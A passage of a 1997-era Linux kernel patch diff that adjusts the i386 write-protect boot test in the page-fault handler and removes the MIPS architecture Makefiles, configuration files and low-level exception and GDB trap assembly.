*regs, unsigned long error_code)) { void (*handler)(struct task_struct *, struct vm_area_struct *, @@ -187,7 +187,7 @@ * * First we check if it was the bootup rw-test, though.. */ - if (wp_works_ok < 0 && !address && (error_code & 1)) { + if (wp_works_ok < 0 && (address == __va(0)) && (error_code & 1)) { wp_works_ok = 1; pg0[0] = pte_val(mk_pte(0, PAGE_SHARED)); flush_tlb(); diff -u --recursive --new-file linux-2.1.29/arch/mips/Makefile linux/arch/mips/Makefile --- linux-2.1.29/arch/mips/Makefile Wed Dec 13 05:39:42 1995 +++ linux/arch/mips/Makefile Wed Dec 31 19:00:00 1969 @@ -1,107 +0,0 @@ -# -# arch/mips/Makefile -# -# This file is included by the global makefile so that you can add your own -# architecture-specific flags and dependencies. Remember to do have actions -# for "archclean" and "archdep" for cleaning up and making dependencies for -# this architecture -# -# This file is subject to the terms and conditions of the GNU General Public -# License. See the file "COPYING" in the main directory of this archive -# for more details. -# -# Copyright (C) 1994, 1995 by Ralf Baechle -# - -ifdef CONFIG_CPU_LITTLE_ENDIAN -prefix = mipsel- -oformat = a.out-mips-little-linux -else -prefix = mips- -oformat = a.out-mips-big-linux -endif - -ifdef CONFIG_EXTRA_ELF_COMPILER -prefix := $(prefix)linuxelf- -else -prefix := $(prefix)linux- -endif - -AS = $(prefix)as -LD = $(prefix)ld -LINKFLAGS = -N -Ttext 0x80000000 -#LINKFLAGS = -oformat=$(oformat) -N -Ttext 0x80000000 -#HOSTCC = gcc -CC = $(prefix)gcc -D__KERNEL__ -I$(TOPDIR)/include -CPP = $(CC) -E $(CFLAGS) -AR = $(prefix)ar -RANLIB = $(prefix)ranlib -OBJCOPY = $(prefix)objcopy -OBJDUMP = $(prefix)objdump -STRIP = $(prefix)strip -NM = $(prefix)nm - -# -# The new ELF GCC uses -G0 -mabicalls -fpic as default. We don't need PIC -# code in the kernel since it only slows down the whole thing. For the -# old GCC these options are just the defaults. At some point we might -# make use of global pointer optimizations. -# -ifdef CONFIG_ELF_KERNEL -CFLAGS := $(CFLAGS) -G0 -mno-abicalls -fno-pic -LINKFLAGS += -T arch/mips/ld.script -endif - -ifdef CONFIG_REMOTE_DEBUG -CFLAGS := $(CFLAGS) -g -endif - -ifdef CONFIG_CPU_R3000 -CFLAGS := $(CFLAGS) -mcpu=r3000 -mips1 -#ASFLAGS := $(ASFLAGS) -mcpu=r3000 -mips1 -endif -ifdef CONFIG_CPU_R6000 -CFLAGS := $(CFLAGS) -mcpu=r6000 -mips2 -#ASFLAGS := $(ASFLAGS) -mcpu=r6000 -mips2 -endif -ifdef CONFIG_CPU_R4X00 -CFLAGS := $(CFLAGS) -D__R4000__ -mcpu=r4400 -mips2 -#ASFLAGS := $(ASFLAGS) -mcpu=r4400 -mips2 -endif -ifdef CONFIG_CPU_R4600 -CFLAGS := $(CFLAGS) -D__R4000__ -mcpu=r4600 -mips2 -#ASFLAGS := $(ASFLAGS) -mcpu=r4600 -mips2 -endif -ifdef CONFIG_CPU_R8000 -CFLAGS := $(CFLAGS) -D__R4000__ -mcpu=r8000 -mips2 -#ASFLAGS := $(ASFLAGS) -mcpu=r8000 -mips2 -endif -ifdef CONFIG_CPU_R10000 -CFLAGS := $(CFLAGS) -D__R4000__ -mcpu=r8000 -mips2 -#ASFLAGS := $(ASFLAGS) -mcpu=r8000 -mips2 -endif - -CFLAGS := $(CFLAGS) -pipe - -HEAD := arch/mips/kernel/head.o - -SUBDIRS := $(SUBDIRS) arch/mips/kernel arch/mips/mm arch/mips/lib -ARCHIVES := arch/mips/kernel/kernel.o arch/mips/mm/mm.o $(ARCHIVES) -LIBS := arch/mips/lib/lib.a $(LIBS) arch/mips/lib/lib.a - -MAKEBOOT = $(MAKE) -C arch/$(ARCH)/boot - -zImage: vmlinux - @$(MAKEBOOT) zImage - -compressed: zImage - -zdisk: vmlinux - @$(MAKEBOOT) zdisk - -archclean: - @$(MAKEBOOT) clean - $(MAKE) -C arch/$(ARCH)/kernel clean - -archdep: - @$(MAKEBOOT) dep diff -u --recursive --new-file linux-2.1.29/arch/mips/boot/Makefile linux/arch/mips/boot/Makefile --- linux-2.1.29/arch/mips/boot/Makefile Fri Apr 12 02:49:30 1996 +++ linux/arch/mips/boot/Makefile Wed Dec 31 19:00:00 1969 @@ -1,66 +0,0 @@ -# -# arch/mips/boot/Makefile -# -# This file is subject to the terms and conditions of the GNU General Public -# License. See the file "COPYING" in the main directory of this archive -# for more details. -# -# Copyright (C) 1995 by Ralf Baechle -# - -.S.s: - $(CPP) $(CFLAGS) $< -o $*.s -.S.o: - $(CC) $(CFLAGS) -c $< -o $*.o - -OBJS = milo.o a.out.o - -# -# Drop some uninteresting sections in the kernel. -# This is only relevant for ELF kernels but doesn't hurt a.out -# -DROP_SECTIONS = .reginfo .mdebug - -# -# The new options of binutils 2.6 help to shrink object files a lot. -# This is especially useful for booting from floppy. Though we -# don't yet require everyone to have binutils 2.6 installed. -# -OBJDUMP_VERSION = $(word 4,$(shell $(OBJDUMP) --version)) -ifneq ($(OBJDUMP_VERSION),2.5.2) -KEEP = kernel_entry boot_info screen_info _end -STRIP_FLAGS = $(addprefix --keep-symbol=,$(KEEP)) -else -STRIP_FLAGS = --discard-all -endif - -# -# Fake compressed boot -# -ifdef CONFIG_ELF_KERNEL -zImage: $(CONFIGURE) $(TOPDIR)/vmlinux - cp $(TOPDIR)/vmlinux zImage.tmp - $(STRIP) $(addprefix --remove-section=,$(DROP_SECTIONS)) \ - --strip-symbol=blurb zImage.tmp - $(LD) -oformat=$(oformat) -N -e except_vec0 -Ttext=0x80000000 \ - -o zImage zImage.tmp - rm -f zImage.tmp - $(STRIP) $(STRIP_FLAGS) zImage -else -zImage: $(CONFIGURE) $(TOPDIR)/vmlinux - cp $(TOPDIR)/vmlinux $@ - $(STRIP) $(STRIP_FLAGS) $@ -endif - -zdisk: zImage - mcopy -n zImage a:vmlinux - -dep: - $(CPP) -M *.[cS] > .depend - -clean: - rm -f zImage zImage.tmp - -dummy: - -include $(TOPDIR)/Rules.make diff -u --recursive --new-file linux-2.1.29/arch/mips/config.in linux/arch/mips/config.in --- linux-2.1.29/arch/mips/config.in Sun May 5 02:05:58 1996 +++ linux/arch/mips/config.in Wed Dec 31 19:00:00 1969 @@ -1,118 +0,0 @@ -# -# For a description of the syntax of this configuration file, -# see the Configure script. -# -mainmenu_name "Linux Kernel Configuration" - -mainmenu_option next_comment -comment 'Machine setup' - -bool 'Support for Acer PICA 1 chipset' CONFIG_ACER_PICA_61 -bool 'Support for DECstation' CONFIG_DECSTATION -bool 'Support for Deskstation RPC44' CONFIG_DESKSTATION_RPC44 -bool 'Support for Deskstation Tyne' CONFIG_DESKSTATION_TYNE -bool 'Support for Mips Magnum 3000' CONFIG_MIPS_MAGNUM_3000 -bool 'Support for Mips Magnum 4000' CONFIG_MIPS_MAGNUM_4000 -bool 'Support for Olivetti M700' CONFIG_OLIVETTI_M700 -if [ "$CONFIG_ACER_PICA_61" = "y" -o \ - "$CONFIG_MIPS_MAGNUM_4000" = "y" -o \ - "$CONFIG_OLIVETTI_M700" = "y" ]; then - define_bool CONFIG_MIPS_JAZZ y -fi - -choice 'CPU type' \ - "R3000 CONFIG_CPU_R3000 \ - R6000 CONFIG_CPU_R6000 \ - R4x00 CONFIG_CPU_R4X00 \ - R4600 CONFIG_CPU_R4600 \ - R8000 CONFIG_CPU_R8000 \ - R10000 CONFIG_CPU_R10000" R4x00 -if [ "$CONFIG_CPU_R3000" = "y" -o \ - "$CONFIG_CPU_R6000" = "y" -o \ - "$CONFIG_CPU_R4X00" = "y" -o \ - "$CONFIG_CPU_R4600" = "y" -o \ - "$CONFIG_CPU_R8000" = "y" ]; then - define_bool CONFIG_TLB_SHUTDOWN y -fi - -define_bool CONFIG_BINFMT_ELF y -define_bool CONFIG_BINFMT_AOUT y -bool 'Compile the kernel into the ELF object format' CONFIG_ELF_KERNEL -if [ "$CONFIG_ELF_KERNEL" = "y" ]; then - bool 'Is your ELF compiler an extra compiler' CONFIG_EXTRA_ELF_COMPILER -fi -bool 'Generate little endian code' CONFIG_CPU_LITTLE_ENDIAN -bool 'Networking support' CONFIG_NET -#bool 'PCI bios support' CONFIG_PCI -#if [ "$CONFIG_PCI" = "y" ]; then -# if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then -# bool ' PCI bridge optimization (experimental)' CONFIG_PCI_OPTIMIZE -# fi -#fi -bool 'System V IPC' CONFIG_SYSVIPC -endmenu - -mainmenu_option next_comment -comment 'Loadable module support' -bool 'Set version information on all symbols for modules' CONFIG_MODVERSIONS -endmenu - -source drivers/block/Config.in - -if [ "$CONFIG_NET" = "y" ]; then - source net/Config.in -fi - -mainmenu_option next_comment -comment 'SCSI support' - -tristate 'SCSI support' CONFIG_SCSI - -if [ "$CONFIG_SCSI" != "n" ]; then - source drivers/scsi/Config.in -fi -endmenu - -if [ "$CONFIG_NET" = "y" ]; then - mainmenu_option next_comment - comment 'Network device support' - - bool 'Network device support' CONFIG_NETDEVICES - if [ "$CONFIG_NETDEVICES" = "y" ]; then - source drivers/net/Config.in - fi - endmenu -fi - -mainmenu_option next_comment -comment 'CD-ROM drivers (not for SCSI or IDE/ATAPI drives)' - -bool 'Support non-SCSI/IDE/ATAPI drives' CONFIG_CD_NO_IDESCSI -if [ "$CONFIG_CD_NO_IDESCSI" != "n" ]; then - source drivers/cdrom/Config.in -fi -endmenu - -source fs/Config.in - -source drivers/char/Config.in -bool 'Standard serial device support' CONFIG_SERIAL n - -mainmenu_option next_comment -comment 'Sound' - -tristate 'Sound card support' CONFIG_SOUND -if [ "$CONFIG_SOUND" != "n" ]; then - source drivers/sound/Config.in -fi -endmenu - -mainmenu_option next_comment -comment 'Kernel hacking' - -#bool 'Debug kmalloc/kfree' CONFIG_DEBUG_MALLOC -bool 'Kernel profiling support' CONFIG_PROFILE -if [ "$CONFIG_PROFILE" = "y" ]; then - int ' Profile shift count' CONFIG_PROFILE_SHIFT 2 -fi -endmenu diff -u --recursive --new-file linux-2.1.29/arch/mips/defconfig linux/arch/mips/defconfig --- linux-2.1.29/arch/mips/defconfig Sat May 10 18:17:03 1997 +++ linux/arch/mips/defconfig Wed Dec 31 19:00:00 1969 @@ -1,86 +0,0 @@ -# -# Automatically generated make config: don't edit -# - -# -# Machine setup -# -CONFIG_ACER_PICA_61=y -# CONFIG_DECSTATION is not set -# CONFIG_DESKSTATION_RPC44 is not set -# CONFIG_DESKSTATION_TYNE is not set -# CONFIG_MIPS_MAGNUM_3000 is not set -# CONFIG_MIPS_MAGNUM_4000 is not set -# CONFIG_OLIVETTI_M700 is not set -CONFIG_MIPS_JAZZ=y -# CONFIG_CPU_R3000 is not set -# CONFIG_CPU_R6000 is not set -CONFIG_CPU_R4X00=y -# CONFIG_CPU_R4600 is not set -# CONFIG_CPU_R8000 is not set -# CONFIG_CPU_R10000 is not set -CONFIG_TLB_SHUTDOWN=y -CONFIG_BINFMT_ELF=y -CONFIG_BINFMT_AOUT=y -# CONFIG_ELF_KERNEL is not set -CONFIG_CPU_LITTLE_ENDIAN=y -# CONFIG_NET is not set -# CONFIG_SYSVIPC is not set - -# -# Loadable module support -# -# CONFIG_MODVERSIONS is not set - -# -# block devices -# -CONFIG_BLK_DEV_FD=y -# CONFIG_ST506 is not set -# CONFIG_BLK_DEV_XD is not set - -# -# SCSI support -# -# CONFIG_SCSI is not set - -# -# CD-ROM drivers (not for SCSI or IDE/ATAPI drives) -# -# CONFIG_CD_NO_IDESCSI is not set - -# -# Filesystems -# -# CONFIG_MINIX_FS is not set -CONFIG_EXT2_FS=y -# CONFIG_MSDOS_FS is not set -CONFIG_PROC_FS=y -# CONFIG_ISO9660_FS is not set -# CONFIG_HPFS_FS is not set -# CONFIG_SYSV_FS is not set -# CONFIG_SMB_FS is not set - -# -# character devices -# -# CONFIG_CYCLADES is not set -# CONFIG_STALDRV is not set -# CONFIG_PRINTER is not set -# CONFIG_BUSMOUSE is not set -# CONFIG_PSMOUSE is not set -# CONFIG_MS_BUSMOUSE is not set -# CONFIG_ATIXL_BUSMOUSE is not set -# CONFIG_QIC02_TAPE is not set -# CONFIG_APM is not set -# CONFIG_SERIAL is not set - -# -# Sound -# -# CONFIG_SOUND is not set - -# -# Kernel hacking -# -# CONFIG_PROFILE is not set diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/Makefile linux/arch/mips/kernel/Makefile --- linux-2.1.29/arch/mips/kernel/Makefile Mon Jul 15 02:55:11 1996 +++ linux/arch/mips/kernel/Makefile Wed Dec 31 19:00:00 1969 @@ -1,101 +0,0 @@ -# -# Makefile for the Linux/MIPS kernel. -# -# Note! Dependencies are done automagically by 'make dep', which also -# removes any old dependencies. DON'T put your own dependencies here -# unless it's something special (ie not a .c file). -# - -.S.s: - $(CPP) $(CFLAGS) $< -o $*.s -.S.o: - $(CC) $(CFLAGS) -c $< -o $*.o - -all: kernel.o head.o -EXTRA_ASFLAGS = -mips3 -mcpu=r4000 -O_TARGET := kernel.o -O_OBJS := process.o signal.o entry.o traps.o irq.o ptrace.o vm86.o ioport.o \ - setup.o syscall.o sysmips.o time.o bios32.o ipc.o - -# -# Kernel debugging -# -ifdef CONFIG_REMOTE_DEBUG -OBJS += gdb-low.o gdb-stub.o -endif - -# -# Board specific code -# -ifdef CONFIG_MIPS_JAZZ -O_OBJS += jazzdma.o jazz-c.o -endif - -ifdef CONFIG_ACER_PICA_61 -O_OBJS += pica.o -endif - -ifdef CONFIG_DESKSTATION_TYNE -O_OBJS += tyne.o tyne-c.o -endif - -ifdef CONFIG_MIPS_MAGNUM_4000 -O_OBJS += magnum4000.o -endif - -# -# CPU model specific code -# -ifdef CONFIG_CPU_R2000 -O_OBJS += r3000.o -endif - -ifdef CONFIG_CPU_R3000 -O_OBJS += r3000.o -endif - -ifdef CONFIG_CPU_R4X00 -O_OBJS += r4xx0.o -endif - -ifdef CONFIG_CPU_R4600 -O_OBJS += r4xx0.o -endif - -ifdef CONFIG_CPU_R6000 - exit 1 # no detailed information about CPU yet. -endif - -ifdef CONFIG_CPU_R8000 - exit 1 # no detailed information about CPU yet. -endif - -ifdef CONFIG_CPU_R10000 -O_OBJS += r4xx0.o -endif - -# -# Since we add the same object files to O_OBJS for different configurations. -# O_OBJS might contain duplicate files. We correct this by filtering out -# duplicate files. Just to avoid users having to know about all the -# compatibility stuff between various boards and boards. -# -O_OBJS := $(sort $(O_OBJS)) - -all: kernel.o head.o - -entry.o: entry.S - -head.o: head.S - -magnum4000.o: magnum4000.S - -pica.o: pica.S - -r4xx0.o: r4xx0.S - -tyne.o: tyne.S - -clean: - -include $(TOPDIR)/Rules.make diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/bios32.c linux/arch/mips/kernel/bios32.c --- linux-2.1.29/arch/mips/kernel/bios32.c Wed Jan 18 01:54:12 1995 +++ linux/arch/mips/kernel/bios32.c Wed Dec 31 19:00:00 1969 @@ -1,7 +0,0 @@ -/* - * bios 32 replacement - */ -unsigned long bios32_init(unsigned long memory_start, unsigned long memory_end) -{ - return memory_start; -} diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/entry.S linux/arch/mips/kernel/entry.S --- linux-2.1.29/arch/mips/kernel/entry.S Fri Apr 12 02:49:30 1996 +++ linux/arch/mips/kernel/entry.S Wed Dec 31 19:00:00 1969 @@ -1,311 +0,0 @@ -/* - * Low level exception handling - * - * This file is subject to the terms and conditions of the GNU General Public - * License. See the file "COPYING" in the main directory of this archive - * for more details. - * - * Copyright (C) 1994, 1995 by Ralf Baechle - */ - -/* - * entry.S contains the system-call and fault low-level handling routines. - * This also contains the timer-interrupt handler, as well as all interrupts - * and faults that can result in a task-switch. The ISA dependent TLB - * code is in arch/mips/kernel/.S - */ -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -/* - * These are offsets into the task-struct. - */ -state = 0 -counter = 4 -priority = 8 -signal = 12 -blocked = 16 -flags = 20 -errno = 24 -exec_domain = 60 - -#ifdef __SMP__ -#error "Fix this for SMP" -#else -#define current current_set -#endif - -/* - * Heia ... The %lo, %hi and %HI stuff is too strong for the ELF assembler - * and the ABI to cope with ... - */ - .text - .set noreorder - .align 4 -handle_bottom_half: - lui s0,%hi(intr_count) - lw s1,%lo(intr_count)(s0) - mfc0 s3,CP0_STATUS # Enable IRQs - addiu s2,s1,1 - sw s2,%lo(intr_count)(s0) - ori t0,s3,0x1f - xori t0,0x1e - jal do_bottom_half - mtc0 t0,CP0_STATUS # delay slot - mtc0 s3,CP0_STATUS # Restore old IRQ state - b 9f - sw s1,%lo(intr_count)(s0) # delay slot - -reschedule: jal schedule - nop # delay slot -EXPORT(ret_from_sys_call) - lw t0,intr_count # bottom half - bnez t0,return - -9: lw t0,bh_mask # delay slot - lw t1,bh_active # unused delay slot - and t0,t1 - bnez t0,handle_bottom_half - - lw t0,FR_STATUS(sp) # returning to kernel mode? - andi t1,t0,0x10 - beqz t1,return # -> yes - - mfc0 t0,CP0_STATUS # delay slot - lw t1,need_resched - ori t0,0x1f # enable irqs - xori t0,0x1e - bnez t1,reschedule - mtc0 t0,CP0_STATUS # delay slot - - lw s0,current - lw t0,task - lw a0,blocked(s0) - beq s0,t0,return # task[0] cannot have signals - # save blocked in a0 for - # signal handling - lw t0,signal(s0) - nor t1,zero,a0 - and t1,t0,t1 - beqz t1,return - nop - - jal do_signal - move a1,sp # delay slot - - .set noat -EXPORT(return) RESTORE_ALL - ERET - .set at - -/* - * Beware: interrupt, fast_interrupt and bad_interrupt have unusual - * calling conventions to speedup the mess. - * - * t1 - interrupt number - * s2 - destroyed - * return values: - * v0 - return routine - */ - .text - .set at - .align 5 -NESTED(interrupt, FR_SIZE, sp) - move s2,ra - mfc0 t0,CP0_STATUS # enable IRQs - ori t0,0x1f - xori t0,0x1e - mtc0 t0,CP0_STATUS - move a0,t1 - jal do_IRQ - move a1,sp # delay slot - mfc0 t0,CP0_STATUS # disable IRQs - ori t0,1 - xori t0,1 - la v0,ret_from_sys_call - jr s2 - mtc0 t0,CP0_STATUS # delay slot - END(interrupt) - - .align 5 -NESTED(fast_interrupt, FR_SIZE, sp) - move s2,ra - move a0,t1 - jal do_fast_IRQ - move a1,sp # delay slot - lui v0,%hi(return) - jr s2 - addiu v0,%lo(return) # delay slot - END(fast_interrupt) - -LEAF(bad_interrupt) - /* - * Don't return & unblock the pic - */ - j return - nop - END(bad_interrupt) - -/* - * do_syscall calls the function in a1 with upto 7 arguments. If over - * four arguments are being requested, the additional arguments will - * be copied from the user stack pointed to by a0->reg29. - * Note that this routine relies on the GNU assemblers weak instruction - * scheduling abilities to generate the best possible code for all MIPS CPUs. - * - * a0 (struct pt_regs *) pointer to user registers - * a1 (syscall_t) pointer to syscall to do - * a2 (int) number of arguments to syscall - */ - .set noreorder - .text -NESTED(do_syscalls, 32, sp) - subu sp,32 - sw ra,28(sp) - sll a2,a2,PTRLOG - lw t0,dst(a2) - move t2,a1 - jalr t0 - lw t0,FR_REG29(a0) # get old user stack pointer - - .set reorder # for sake of R3000 -7: lw t1,24(t0) # parameter #7 from usp - sw t1,24(t0) -6: lw t1,20(t0) # parameter #6 from usp - sw t1,20(t0) -5: lw t1,16(t0) # parameter #5 from usp - sw t1,16(t0) - .set noreorder -4: lw a3,FR_REG7(a0) # 4 args -3: lw a2,FR_REG6(a0) # 3 args -2: lw a1,FR_REG5(a0) # 2 args -1: jalr t2 # 1 args - lw a0,FR_REG4(a0) # delay slot - .set reorder - lw ra,28(sp) - addiu sp,32 - jr ra -0: jalr t2 # 0 args, just pass a0 - lw ra,28(sp) - addiu sp,32 - jr ra - END(do_syscalls) - .set noreorder - - .rdata - .align PTRLOG -dst: PTR 0b, 1b, 2b, 3b, 4b, 5b, 6b, 7b - -/* - * Build a default exception handler for the exceptions that don't need - * special handlers. If you didn't know yet - I *like* playing games with - * the C preprocessor ... - */ -#define __BUILD_silent(exception) -#define __BUILD_verbose(exception) \ - la a1,8f; \ - TEXT (#exception); \ - lw a2,FR_EPC(sp); \ - PRINT("Got %s at %08x.\n") -#define __BUILD_count(exception) \ - .set reorder; \ - lw t0,exception_count_##exception; \ - addiu t0,1; \ - sw t0,exception_count_##exception; \ - .set noreorder; \ - .data; \ -EXPORT(exception_count_##exception); \ - .word 0; \ - .text; -#define BUILD_HANDLER(exception,verbose) \ - .text; \ - .align 5; \ - NESTED(handle_##exception, FR_SIZE, sp); \ - .set noat; \ - SAVE_ALL; \ - STI; \ - .set at; \ - __BUILD_##verbose(exception); \ - li t0,-1; /* not a sys call */ \ - sw t0,FR_ORIG_REG2(sp); \ - jal do_##exception; \ - move a0,sp; /* delay slot */ \ - j ret_from_sys_call; \ - nop; /* delay slot */ \ - END(handle_##exception) - - BUILD_HANDLER(adel,verbose) /* #4 */ - BUILD_HANDLER(ades,verbose) /* #5 */ - BUILD_HANDLER(ibe,verbose) /* #6 */ - BUILD_HANDLER(dbe,verbose) /* #7 */ - BUILD_HANDLER(sys,silent) /* #8 */ - BUILD_HANDLER(bp,verbose) /* #9 */ - BUILD_HANDLER(ri,verbose) /* #10 */ - BUILD_HANDLER(cpu,silent) /* #11 */ - BUILD_HANDLER(ov,verbose) /* #12 */ - BUILD_HANDLER(tr,verbose) /* #13 */ - BUILD_HANDLER(vcei,verbose) /* #14 */ - BUILD_HANDLER(fpe,verbose) /* #15 */ - BUILD_HANDLER(watch,verbose) /* #23 */ - BUILD_HANDLER(vced,verbose) /* #31 */ - BUILD_HANDLER(reserved,verbose) /* others */ - -/* - * Exception handler table with 32 entries. - * This might be extended to handle software exceptions - */ - .bss - .align PTRLOG -EXPORT(exception_handlers) - .fill 32,PTRSIZE,0 - -/* - * Interrupt handler table with 16 entries. - */ -EXPORT(IRQ_vectors) - .fill 16,PTRSIZE,0 - -/* - * Table of syscalls - */ - .data - .align PTRLOG -EXPORT(sys_call_table) - /* - * Reserved space for all the SVR4, SVR, BSD43 and POSIX - * flavoured syscalls. - */ - .space (__NR_Linux)*PTRSIZE - - /* - * Linux flavoured syscalls. - */ -#define SYS(call, narg) PTR call -#include "syscalls.h" - -/* - * Number of arguments of each syscall - */ -EXPORT(sys_narg_table) - /* - * Reserved space for all the SVR4, SVR, BSD43 and POSIX - * flavoured syscalls. - */ - .space (__NR_Linux) - - /* - * Linux flavoured syscalls. - */ -#undef SYS -#define SYS(call, narg) .byte narg -#include "syscalls.h" diff -u --recursive --new-file linux-2.1.29/arch/mips/kernel/gdb-low.S linux/arch/mips/kernel/gdb-low.S --- linux-2.1.29/arch/mips/kernel/gdb-low.S Wed Dec 13 05:39:43 1995 +++ linux/arch/mips/kernel/gdb-low.S Wed Dec 31 19:00:00 1969 @@ -1,300 +0,0 @@ -/* - * arch/mips/kernel/gdb-low.S - * - * gdb-low.S contains the low-level trap handler for the GDB stub. - * - * Copyright (C) 1995 Andreas Busse - */ - -#include - -#include -#include -#include -#include -#include -#include - -/* - * The low level trap handler - */ - .align 5 - NESTED(trap_low, GDB_FR_SIZE, sp) - .set noat - .set noreorder - - mfc0 k0,CP0_STATUS - sll k0,3 /* extract cu0 bit */ - bltz k0,1f - move k1,sp - - /* - * Called from user mode, new stack - */ - lui k1,%hi(kernelsp) - lw k1,%lo(kernelsp)(k1) -1: move k0,sp - subu sp,k1,GDB_FR_SIZE - sw k0,GDB_FR_REG29(sp) - sw v0,GDB_FR_REG2(sp) - -/* - * first save the CP0 and special registers - */ - - mfc0 v0,CP0_STATUS - sw v0,GDB_FR_STATUS(sp) - mfc0 v0,CP0_CAUSE - sw v0,GDB_FR_CAUSE(sp) - mfc0 v0,CP0_EPC - sw v0,GDB_FR_EPC(sp) - mfc0 v0,CP0_BADVADDR - sw v0,GDB_FR_BADVADDR(sp) - mfhi v0 - sw v0,GDB_FR_HI(sp) - mflo v0 - sw v0,GDB_FR_LO(sp) - -/* - * Now the integer registers - */ - - sw zero,GDB_FR_REG0(sp) /* I know... */ - sw $1,GDB_FR_REG1(sp) - /* v0 already saved */ - sw v1,GDB_FR_REG3(sp) - sw a0,GDB_FR_REG4(sp) - sw a1,GDB_FR_REG5(sp) - sw a2,GDB_FR_REG6(sp) - sw a3,GDB_FR_REG7(sp) - sw t0,GDB_FR_REG8(sp) - sw t1,GDB_FR_REG9(sp) - sw t2,GDB_FR_REG10(sp) - sw t3,GDB_FR_REG11(sp) - sw t4,GDB_FR_REG12(sp) - sw t5,GDB_FR_REG13(sp) - sw t6,GDB_FR_REG14(sp) - sw t7,GDB_FR_REG15(sp) - sw s0,GDB_FR_REG16(sp) - sw s1,GDB_FR_REG17(sp) - sw s2,GDB_FR_REG18(sp) - sw s3,GDB_FR_REG19(sp) - sw s4,GDB_FR_REG20(sp) - sw s5,GDB_FR_REG21(sp) - sw s6,GDB_FR_REG22(sp) - sw s7,GDB_FR_REG23(sp) - sw t8,GDB_FR_REG24(sp) - sw t9,GDB_FR_REG25(sp) - sw k0,GDB_FR_REG26(sp) - sw k1,GDB_FR_REG27(sp) - sw gp,GDB_FR_REG28(sp) - /* sp already saved */ - sw fp,GDB_FR_REG30(sp) - sw ra,GDB_FR_REG31(sp) - - STI /* disable interrupts */ - -/* - * Followed by the floating point registers - */ - mfc0 v0,CP0_STATUS /* check if the FPU is enabled */ - srl v0,v0,16 - andi v0,v0,(ST0_CU1 >> 16) - beqz v0,2f /* disabled, skip */ - nop - - swc1 $0,GDB_FR_FPR0(sp) - swc1 $1,GDB_FR_FPR1(sp) - swc1 $2,GDB_FR_FPR2(sp) - swc1 $3,GDB_FR_FPR3(sp) - swc1 $4,GDB_FR_FPR4(sp) - swc1 $5,GDB_FR_FPR5(sp) - swc1 $6,GDB_FR_FPR6(sp) - swc1 $7,GDB_FR_FPR7(sp) - swc1 $8,GDB_FR_FPR8(sp) - swc1 $9,GDB_FR_FPR9(sp) - swc1 $10,GDB_FR_FPR10(sp) - swc1 $11,GDB_FR_FPR11(sp) - swc1 $12,GDB_FR_FPR12(sp) - swc1 $13,GDB_FR_FPR13(sp) - swc1 $14,GDB_FR_FPR14(sp) - swc1 $15,GDB_FR_FPR15(sp) - swc1 $16,GDB_FR_FPR16(sp) - swc1 $17,GDB_FR_FPR17(sp) - swc1 $18,GDB_FR_FPR18(sp) - swc1 $19,GDB_FR_FPR19(sp) - swc1 $20,GDB_FR_FPR20(sp) - swc1 $21,GDB_FR_FPR21(sp) - swc1 $22,GDB_FR_FPR22(sp) - swc1 $23,GDB_FR_FPR23(sp) - swc1 $24,GDB_FR_FPR24(sp) - swc1 $25,GDB_FR_FPR25(sp) - swc1 $26,GDB_FR_FPR26(sp) - swc1 $27,GDB_FR_FPR27(sp) - swc1 $28,GDB_FR_FPR28(sp) - swc1 $29,GDB_FR_FPR29(sp) - swc1 $30,GDB_FR_FPR30(sp) - swc1 $31,GDB_FR_FPR31(sp) - -/* - * FPU control registers - */ - - mfc1 v0,CP1_STATUS - sw v0,GDB_FR_FSR(sp) - mfc1 v0,CP1_REVISION - sw v0,GDB_FR_FIR(sp) - -/* - * current stack frame ptr - */ - -2: sw sp,GDB_FR_FRP(sp) - -/* - * CP0 registers (R4000/R4400 unused registers skipped) - */ - - mfc0 v0,CP0_INDEX - sw v0,GDB_FR_CP0_INDEX(sp) - mfc0 v0,CP0_RANDOM - sw v0,GDB_FR_CP0_RANDOM(sp) - mfc0 v0,CP0_ENTRYLO0 - sw v0,GDB_FR_CP0_ENTRYLO0(sp) - mfc0 v0,CP0_ENTRYLO1 - sw v0,GDB_FR_CP0_ENTRYLO1(sp) - mfc0 v0,CP0_PAGEMASK - sw v0,GDB_FR_CP0_PAGEMASK(sp) - mfc0 v0,CP0_WIRED - sw v0,GDB_FR_CP0_WIRED(sp) - mfc0 v0,CP0_ENTRYHI - sw v0,GDB_FR_CP0_ENTRYHI(sp) - mfc0 v0,CP0_PRID - sw v0,GDB_FR_CP0_PRID(sp) - - .set at - -/* - * continue with the higher level handler - */ - - move a0,sp - jal handle_exception - nop - -/* - * restore all writable registers, in reverse order - */ - - .set noat - - lw v0,GDB_FR_CP0_ENTRYHI(sp) - lw v1,GDB_FR_CP0_WIRED(sp) - mtc0 v0,CP0_ENTRYHI - mtc0 v1,CP0_WIRED - lw v0,GDB_FR_CP0_PAGEMASK(sp) - lw v1,GDB_FR_CP0_ENTRYLO1(sp) - mtc0 v0,CP0_PAGEMASK - mtc0 v1,CP0_ENTRYLO1 - lw v0,GDB_FR_CP0_ENTRYLO0(sp) - lw v1,GDB_FR_CP0_INDEX(sp) - mtc0 v0,CP0_ENTRYLO0 - mtc0 v1,CP0_INDEX - -/* - * Next, the floating point registers - */ - mfc0 v0,CP0_STATUS /* check if the FPU is enabled */ - srl v0,v0,16 - andi v0,v0,(ST0_CU1 >> 16) - beqz v0,3f /* disabled, skip */ - nop - - lwc1 $31,GDB_FR_FPR31(sp) - lwc1 $30,GDB_FR_FPR30(sp) - lwc1 $29,GDB_FR_FPR29(sp) - lwc1 $28,GDB_FR_FPR28(sp) - lwc1 $27,GDB_FR_FPR27(sp) - lwc1 $26,GDB_FR_FPR26(sp) - lwc1 $25,GDB_FR_FPR25(sp) - lwc1 $24,GDB_FR_FPR24(sp) - lwc1 $23,GDB_FR_FPR23(sp) - lwc1 $22,GDB_FR_FPR22(sp) - lwc1 $21,GDB_FR_FPR21(sp) - lwc1 $20,GDB_FR_FPR20(sp) - lwc1 $19,GDB_FR_FPR19(sp) - lwc1 $18,GDB_FR_FPR18(sp) - lwc1 $17,GDB_FR_FPR17(sp) - lwc1 $16,GDB_FR_FPR16(sp) - lwc1 $15,GDB_FR_FPR15(sp) - lwc1 $14,GDB_FR_FPR14(sp) - lwc1 $13,GDB_FR_FPR13(sp) - lwc1 $12,GDB_FR_FPR12(sp) - lwc1 